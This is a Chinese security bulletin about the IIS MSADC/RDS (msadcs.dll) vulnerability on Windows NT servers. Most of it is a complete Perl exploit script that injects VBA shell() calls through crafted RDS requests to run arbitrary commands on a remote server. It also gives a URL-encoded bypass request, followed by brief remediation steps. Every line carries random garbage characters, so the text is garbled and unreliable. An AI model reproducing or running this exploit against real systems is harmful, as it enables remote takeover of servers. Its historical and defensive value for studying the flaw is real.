IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P]{.e UB@c #%tL8/K* 涉及程序：
o xu9v/ Microsoft NT server
`b'J*4|oGo A1$'[8U~3 描述：
0-f - 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
E'6P>6l5 lS-i9U/,> 详细：
geSo#mV 如果你没有时间读详细内容的话，就删除:
1)Bi>X c:\Program Files\Common Files\System\Msadc\msadcs.dll
:.df( 1(RL 有关的安全问题就没有了。
e-)1K tSa%ZkS 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
K# < Wt5 H,` XCG 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
OV f|4J/Yx 关于利用ODBC远程漏洞的描述，请参看:
y'/9Kr V
T 6ng g*kE< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pT$AdvI] B4O a7$M/U 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
'p]qN;`'O$ http://www.microsoft.com/security/bulletins/MS99-025faq.asp &B7KWvAy d's`~HOU2 这里不再论述。
g``4U3T%X {_}"USS 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
v"_#.!V x:lf=D lA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
) <~7<.0 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
k O4~N-& XX6)( Ve)
:I #将下面这段保存为txt文件，然后: "perl -x 文件名"
0M -AIQ5 kA`qExw% #!perl
J<@ ]7)|U #
K\Q
1/}) # MSADC/RDS 'usage' (aka exploit) script
\ vQ ( #
n//a;m # by rain.forest.puppy
)6WU&0>AU8 #
WfZ#:G9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
y&]D 2"I # beta test and find errors!
{qyo# 8!Kfe use Socket; use Getopt::Std;
N6'Y
N10 getopts("e:vd:h:XR", \%args);
uGWk(qn =&GV\ ju print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Kn |dnq|G *A`^ C if (!defined $args{h} && !defined $args{R}) {
Qz; " b! print qq~
zv@o- R$l Usage: msadc.pl -h <host> { -d <delay> -X -v }
9 x<
8(]\ -h <host> = host you want to scan (ip or domain)
>=Veu; A -d <seconds> = delay between calls, default 1 second
|lY8u~% -X = dump Index Server path table, if available
-tZb\4kh -v = verbose
K)ib{V( 50 -e = external dictionary file for step 5
k2;yl _7 ppA8c 6 Or a -R will resume a command session
G>"[ nXmcu <o}t-Bgg ~; exit;}
*L_wRhhk '#?hm-Ga $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
p9J( ,} if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
l[Oxf| if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
F{H y@7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
q~C6+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
` (<>` if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
s!Vtw p 9 _G`aI*rKsy if (!defined $args{R}){ $ret = &has_msadc;
5/<Y,eZ/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ga1RMRu+ B}.ia_&DLR print "Please type the NT commandline you want to run (cmd /c assumed):\n"
HAXx`r< . "cmd /c ";
[gDvAtTZ5 $in=<STDIN>; chomp $in;
/hHD\+ 0({ $command="cmd /c " . $in ;
O. !?O( RIlPH~
if (defined $args{R}) {&load; exit;}
xi0&"?7la z`CI gSR print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
zi'?FM[f) &try_btcustmr;
+8"H%#~ ]up:pddIh print "\nStep 2: Trying to make our own DSN...";
WqA P'x 1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
iC">F.9# @EvnV. print "\nStep 3: Trying known DSNs...";
0@KBQv"v &known_dsn;
4*]`s|fbu ;lldxS print "\nStep 4: Trying known .mdbs...";
> :Ec &known_mdb;
- J:vYhq|g &o(?
}W
if (defined $args{e}){
%3cBh v[q4 print "\nStep 5: Trying dictionary of DSN names...";
gi8kYHldH
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}-kb"\X%g x<].mx print "Sorry Charley...maybe next time?\n";
SVJ3!1B, exit;
*|cvx:GO k5 8lmuU ##############################################################################
'
x|B' &' Ch[Wo]H sub sendraw { # ripped and modded from whisker
zuOIos
sleep($delay); # it's a DoS on the server! At least on mine...
_ h#G- my ($pstr)=@_;
=+u$ZZ0+]o socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
HV>W f"1 die("Socket problems\n");
k0,~wn\#h if(connect(S,pack "SnA4x8",2,80,$target)){
,PnE DQ|l select(S); $|=1;
GlaWBF# print $pstr; my @in=<S>;
)g-*fSa select(STDOUT); close(S);
nH hg#wR return @in;
umj7-fh } else { die("Can't connect...\n"); }}
hFKYRZtP.8 {3?g8e]zr ##############################################################################
h0!j ;fn jtA
Yp3M-$ sub make_header { # make the HTTP request
=|6IyL_N my $msadc=<<EOT
Pai {?<zGi POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#3.\ }d) User-Agent: ACTIVEDATA
bte e;3` Host: $ip
}/6jom9U? Content-Length: $clen
]wP)!UZ Connection: Keep-Alive
.NabK ' &\km~& ADCClientVersion:01.06
Qf"gH <vT Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
KzhldMJ^zq t4nAy)I)P --!ADM!ROX!YOUR!WORLD!
6$IAm# Content-Type: application/x-varg
X)Kd'6zg Content-Length: $reqlen
0L|A .
a~J.0c o EOT
H4)){ \ ; $msadc=~s/\n/\r\n/g;
DS^PHk39 return $msadc;}
.@R{T3 =Q !Y5O3^I=u ##############################################################################
W"$'$ h J)66\h= sub make_req { # make the RDS request
#Ez>]`]TB my ($switch, $p1, $p2)=@_;
;]|Z8#s my $req=""; my $t1, $t2, $query, $dsn;
8K{
TRPy .'
#_Z.zr if ($switch==1){ # this is the btcustmr.mdb query
:H6Ipa $query="Select * from Customers where City=" . make_shell();
afH`<! $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ppS,9e- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
8J G t|, 5`0tG; elsif ($switch==2){ # this is general make table query
faThXq8B $query="create table AZZ (B int, C varchar(10))";
7`
&K=( . $dsn="$p1";}
S. BM/M 0IxXhu6v elsif ($switch==3){ # this is general exploit table query
w R1M_&-s $query="select * from AZZ where C=" . make_shell();
7 \eN 8+ $dsn="$p1";}
-k= 02?0p+ we!}"'E; elsif ($switch==4){ # attempt to hork file info from index server
R9~%ORI#; $query="select path from scope()";
?HttqK) $dsn="Provider=MSIDXS;";}
JZ'`.yK: MJb!+E+ elsif ($switch==5){ # bad query
U k5jZ| $query="select";
) 9,9yd~SI $dsn="$p1";}
GAV| x ]R /`3< @{D $t1= make_unicode($query);
j $a,93P5 $t2= make_unicode($dsn);
Ar N *9 $req = "\x02\x00\x03\x00";
a 6fMx~ $req.= "\x08\x00" . pack ("S1", length($t1));
8v_HIx0xu $req.= "\x00\x00" . $t1 ;
\_qiUv Pf\ $req.= "\x08\x00" . pack ("S1", length($t2));
tGe|@.! $req.= "\x00\x00" . $t2 ;
g!i\ AMG? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
9 4LFElE3 return $req;}
'*| Wi}0R 4l560Fb'U ##############################################################################
L@XhgQ b&. o9PV" sub make_shell { # this makes the shell() statement
/X {:~*.z return "'|shell(\"$command\")|'";}
6M qJy6 \| R P-8 ##############################################################################
LS*^TA(I[ E$T)N U\ sub make_unicode { # quick little function to convert to unicode
O p A my ($in)=@_; my $out;
q3#07o_dV for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
kK>PFk( return $out;}
UF3WpA 7'k+ /rAO ##############################################################################
KpA
iKe ;J Fy
8Rj sub rdo_success { # checks for RDO return success (this is kludge)
xQ=[0!p+ my (@in) = @_; my $base=content_start(@in);
^
1}_VB)^ if($in[$base]=~/multipart\/mixed/){
G$<FQDvs return 1 if( $in[$base+10]=~/^\x09\x00/ );}
p
eQD]v return 0;}
Tj$D:xKf) = rFgOdj ##############################################################################
3FR'N%+ <sE0426
{ sub make_dsn { # this makes a DSN for us
Tl6%z9rY@ my @drives=("c","d","e","f");
!7]4sXL{ print "\nMaking DSN: ";
18jI6$DY foreach $drive (@drives) {
*+{ umfZy print "$drive: ";
p(fYpD my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
UEbRg =6 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
HZ* <BjE:" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
l:5x*QSX $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
CA, &R <] return 0 if $2 eq "404"; # not found/doesn't exist
yS% IE>? if($2 eq "200") {
X `YA JG foreach $line (@results) {
hosw :% return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8wKF.+_A } return 0;}
4 IuQQ ]-FK6jw ##############################################################################
j?K]0j; ]~ iOO
%&R sub verify_exists {
481J=8H my ($page)=@_;
q{?Po;\D my @results=sendraw("GET $page HTTP/1.0\n\n");
}@>=,A4Y return $results[0];}
W7r1!/ccj dt%wa M! ##############################################################################
3C{3"bP gh>'O/9 sub try_btcustmr {
<1cYz\/ !M my @drives=("c","d","e","f");
*J&XM[t my @dirs=("winnt","winnt35","winnt351","win","windows");
LT']3w l(
/yaZ` foreach $dir (@dirs) {
1$vs w print "$dir -> "; # fun status so you can see progress
dP}=cZ~ foreach $drive (@drives) {
KAH9?zI)M print "$drive: "; # ditto
2A'!kd$2 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U`Bw2Vdk]S $reqlenlen=length( "$reqlen" );
Uv?s < $clen= 206 + $reqlenlen + $reqlen;
Q$ r1beA Vw 0cf; my @results=sendraw(make_header() . make_req(1,$drive,$dir));
u?6L.^Op if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
gx~79;6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
/ZlPEs) hD TiXc ##############################################################################
b.V\E Ok 1D159 NLB sub odbc_error {
3}V`]B#a my (@in)=@_; my $base;
X;25G my $base = content_start(@in);
4
qMO@E_ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
IMjz#|c $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#Ux*": $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GAG=4 g $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QwPL y O return $in[$base+4].$in[$base+5].$in[$base+6];}
.4DX/~F print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
DdJ>1504 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Wm! lWQ u7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
RQiGKz5
=g| e- XC ##############################################################################
zG)XB*c j}}:&>; sub verbose {
|eH >55 b my ($in)=@_;
e%. Xya#\ return if !$verbose;
Hg$t,\j print STDOUT "\n$in\n";}
~u | k1 C":i56 ##############################################################################
wi]ya\(*yl t:y}
7un sub save {
7 $AEh+f my ($p1, $p2, $p3, $p4)=@_;
ernZfd{H open(OUT, ">rds.save") || print "Problem saving parameters...\n";
')ZxWYT
O^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
v|r\kr k close OUT;}
tg%s#lLeH >; a_i>[ ##############################################################################
T 1'8<pJ^ ZuF"GNUC sub load {
"f/91gIzm' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}NX9"}/ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
P5
f p!YF @p=<IN>; close(IN);
mHcxK@qw $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
e`gO c* $target= inet_aton($ip) || die("inet_aton problems");
|Yq0zc! print "Resuming to $ip ...";
L,G{ t^j $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
;\~{7 9c if($p[1]==1) {
TTB1}j+V6 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
8/ lv, m# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
"]*16t%Z%x my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
f`Km ctI if (rdo_success(@results)){print "Success!\n";}
f44b=,Lry5 else { print "failed\n"; verbose(odbc_error(@results));}}
iEd%8 F h elsif ($p[1]==3){
Y JzKE7%CO if(run_query("$p[3]")){
M-> /vi print "Success!\n";} else { print "failed\n"; }}
={_.} elsif ($p[1]==4){
ND);7 if(run_query($drvst . "$p[3]")){
Np$peT[ print "Success!\n"; } else { print "failed\n"; }}
':al4m " exit;}
kT|{5Kn&s x0aPY;,N0 ##############################################################################
=~;SUO R1.No_`PHq sub create_table {
n27df 9L my ($in)=@_;
=R+z\`2 $reqlen=length( make_req(2,$in,"") ) - 28;
dMkDNaH, $reqlenlen=length( "$reqlen" );
MZ" yjQ A $clen= 206 + $reqlenlen + $reqlen;
2BTFK"=U my @results=sendraw(make_header() . make_req(2,$in,""));
%{GYTc \'X return 1 if rdo_success(@results);
"{a-I=s\C my $temp= odbc_error(@results); verbose($temp);
Vy*&po[
return 1 if $temp=~/Table 'AZZ' already exists/;
X; $ g7A return 0;}
0}' <?|v-(E ##############################################################################
-"*UICd YbS$D sub known_dsn {
r0
%W GMk2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7PE3>cD my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)
xRm "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
hCXSC*; "banner", "banners", "ads", "ADCDemo", "ADCTest");
qf7:Q?+.| 'EF\=o)^Y foreach $dSn (@dsns) {
jET$wKw % print ".";
N 6CWEIJ next if (!is_access("DSN=$dSn"));
4 yL C if(create_table("DSN=$dSn")){
Yr9>ATR print "$dSn successful\n";
Twscc "mK if(run_query("DSN=$dSn")){
c*0pF=3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T(UdV]~]" print "Something's borked. Use verbose next time\n";}}} print "\n";}
-9 Iz$ (>a I_vPGafMx ##############################################################################
w7n6@"q M9mC\Iz[ sub is_access {
M7D@Uj&xx( my ($in)=@_;
]7H ? $reqlen=length( make_req(5,$in,"") ) - 28;
&S\q*H=}i $reqlenlen=length( "$reqlen" );
@WcK<Qho $clen= 206 + $reqlenlen + $reqlen;
(W*~3/@D my @results=sendraw(make_header() . make_req(5,$in,""));
{\tHS+] my $temp= odbc_error(@results);
^A9D;e6!- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
K.A!?U= return 0;}
Z7 \gj` zk)9tm;i{ ##############################################################################
Q _p!;3 7D5;lM[_ sub run_query {
p7.j>w1F my ($in)=@_;
pz'l9Gp;@ $reqlen=length( make_req(3,$in,"") ) - 28;
\etuIFQ#U $reqlenlen=length( "$reqlen" );
i21ybXA=Z $clen= 206 + $reqlenlen + $reqlen;
uc6;%=%+ my @results=sendraw(make_header() . make_req(3,$in,""));
V*an0@ return 1 if rdo_success(@results);
R RYm.dMIw my $temp= odbc_error(@results); verbose($temp);
~( %TQY5 return 0;}
'G3;!xk$ :\
% .x3T' ##############################################################################
6U{& `8C If yyA sub known_mdb {
<@;Y.76~ my @drives=("c","d","e","f","g");
Rg/*)SKj my @dirs=("winnt","winnt35","winnt351","win","windows");
:H}a/ x*ur my $dir, $drive, $mdb;
>3R %GNw my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T<!&6,N A [c6I/U=- # this is sparse, because I don't know of many
jY.iQBhjEB my @sysmdbs=( "\\catroot\\icatalog.mdb",
7|~j=,HU+Z "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
x --buO "\\system32\\certmdb.mdb",
Q~/TqG
U "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P\"|b\O1 Kv**(~FNnH my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ujF*'*@\
"\\cfusion\\cfapps\\forums\\forums_.mdb",
l=jfgsjc "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
lYZ5FacqC "\\cfusion\\cfapps\\security\\realm_.mdb",
CuE>=y- "I "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_)4YxmK% "\\cfusion\\database\\cfexamples.mdb",
t?[|oz:v "\\cfusion\\database\\cfsnippets.mdb",
[Tha
j "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
/.leY $ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
99T_y `df "\\cfusion\\brighttiger\\database\\cleam.mdb",
nxzdg5A(w "\\cfusion\\database\\smpolicy.mdb",
C^uH]WO "\\cfusion\\database\cypress.mdb",
P#`Mg @. "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
< 8yv( "\\website\\cgi-win\\dbsample.mdb",
zP\n<L5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
idL6 *%M "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
& w{""' ); #these are just
kYxb@Zn=| foreach $drive (@drives) {
M[wd.\
% foreach $dir (@dirs){
Q}G'=Q]Juz foreach $mdb (@sysmdbs) {
(h8M print ".";
IvLo&6swW if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
yGN@Hd:9 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^X$k<n A; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
!P*1^8b`f print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
E;l|I
A/7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
sP1wO4M?{ n -q foreach $drive (@drives) {
'qRK6}"T
foreach $mdb (@mdbs) {
> UT Ak print ".";
@^Tof5?F? if(create_table($drv . $drive . $dir . $mdb)){
R(dVE\ u print "\n" . $drive . $dir . $mdb . " successful\n";
sS$"6 if(run_query($drv . $drive . $dir . $mdb)){
'n> ,+,& print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
L4th 7# } else { print "Something's borked. Use verbose next time\n"; }}}}
- i``yf?P }
"zS i9]j &Nx'Nq9y ##############################################################################
P 19nF[A xFZA1 8 sub hork_idx {
PCl@Ff print "\nAttempting to dump Index Server tables...\n";
1i;-mYGaMn print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
i?R+Ul` Q $reqlen=length( make_req(4,"","") ) - 28;
xpo<1Sr>S $reqlenlen=length( "$reqlen" );
QN =a { $clen= 206 + $reqlenlen + $reqlen;
& h=O;?dO my @results=sendraw2(make_header() . make_req(4,"",""));
#NZ\UmA if (rdo_success(@results)){
"e WN5 2 my $max=@results; my $c; my %d;
a`.] 8Jy) for($c=19; $c<$max; $c++){
cP[3p : $results[$c]=~s/\x00//g;
m&)5QX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
L(tA~Z"k $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_= RA -qZ" $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
-!E ))|A $d{"$1$2"}="";}
g?V>+oMx foreach $c (keys %d){ print "$c\n"; }
nBs%k!RR } else {print "Index server doesn't seem to be installed.\n"; }}
^4@~\#$z vywd&7gK ##############################################################################
v,t& t9}/ >t2E034_ sub dsn_dict {
HJl$v#]#+ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
T( @y #09 while(<IN>){
l?CUd7P(a $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
C`F*00M{ next if (!is_access("DSN=$dSn"));
bH }6N>Fp if(create_table("DSN=$dSn")){
+^% y&8e print "$dSn successful\n";
ns_5|*' if(run_query("DSN=$dSn")){
0T,Qn{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s W)C6 # print "Something's borked. Use verbose next time\n";}}}
j-2`yR print "\n"; close(IN);}
:O:Rfmr ~ HC,YmO:df" ##############################################################################
1
h(oty2p uWw4l"RK` sub sendraw2 { # ripped and modded from whisker
I(fq4$ sleep($delay); # it's a DoS on the server! At least on mine...
O!+LM{>
F my ($pstr)=@_;
M7"I]$|\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
V>}@--$c-r die("Socket problems\n");
]PVPt,c if(connect(S,pack "SnA4x8",2,80,$target)){
HA%% WSuf print "Connected. Getting data";
6
W/S?F~{ open(OUT,">raw.out"); my @in;
;Ab` b1B select(S); $|=1; print $pstr;
(uG.s %I while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Sfc 0 ~1 close(OUT); select(STDOUT); close(S); return @in;
#~um F%# } else { die("Can't connect...\n"); }}
`_Bvae j?, %lZ++?&^ ##############################################################################
@
mm*S:Gt# loVUB'OSv sub content_start { # this will take in the server headers
WN9 < my (@in)=@_; my $c;
q0Fq7rWP for ($c=1;$c<500;$c++) {
ZN!OM)@:! if($in[$c] =~/^\x0d\x0a/){
?v L\VI9 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8[LwG& else { return $c+1; }}}
;+]9KIa_Pq return -1;} # it should never get here actually
Dt,b\6 & f7 {3BK ##############################################################################
[.DSY[!8U (A 2x sub funky {
Y(IT#x?p my (@in)=@_; my $error=odbc_error(@in);
m7X&"0X if($error=~/ADO could not find the specified provider/){
)&di
c6r print "\nServer returned an ADO miscofiguration message\nAborting.\n";
zI/)#^ SQ exit;}
0wZ_;FN*- if($error=~/A Handler is required/){
!x oN%5 ! print "\nServer has custom handler filters (they most likely are patched)\n";
,2mnjq/*Z exit;}
"?_adot5v if($error=~/specified Handler has denied Access/){
$Z)Dvy| print "\nServer has custom handler filters (they most likely are patched)\n";
XQ.czj exit;}}
$Gb] K{e _+0l+a*D ##############################################################################
@AUx%:}0Y: )c= R)=N sub has_msadc {
xZjl_ b J my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
<>G WS W my $base=content_start(@results);
6GCwc1g return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
f!;i$Oif return 0;}
BQWEC,*N %C=^
h1t% ########################
"sF&WuW| \KfngYD]W \3dM A_5 解决方案：
KZO ! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
V-a/%_D 2、移除web 目录: /msadc
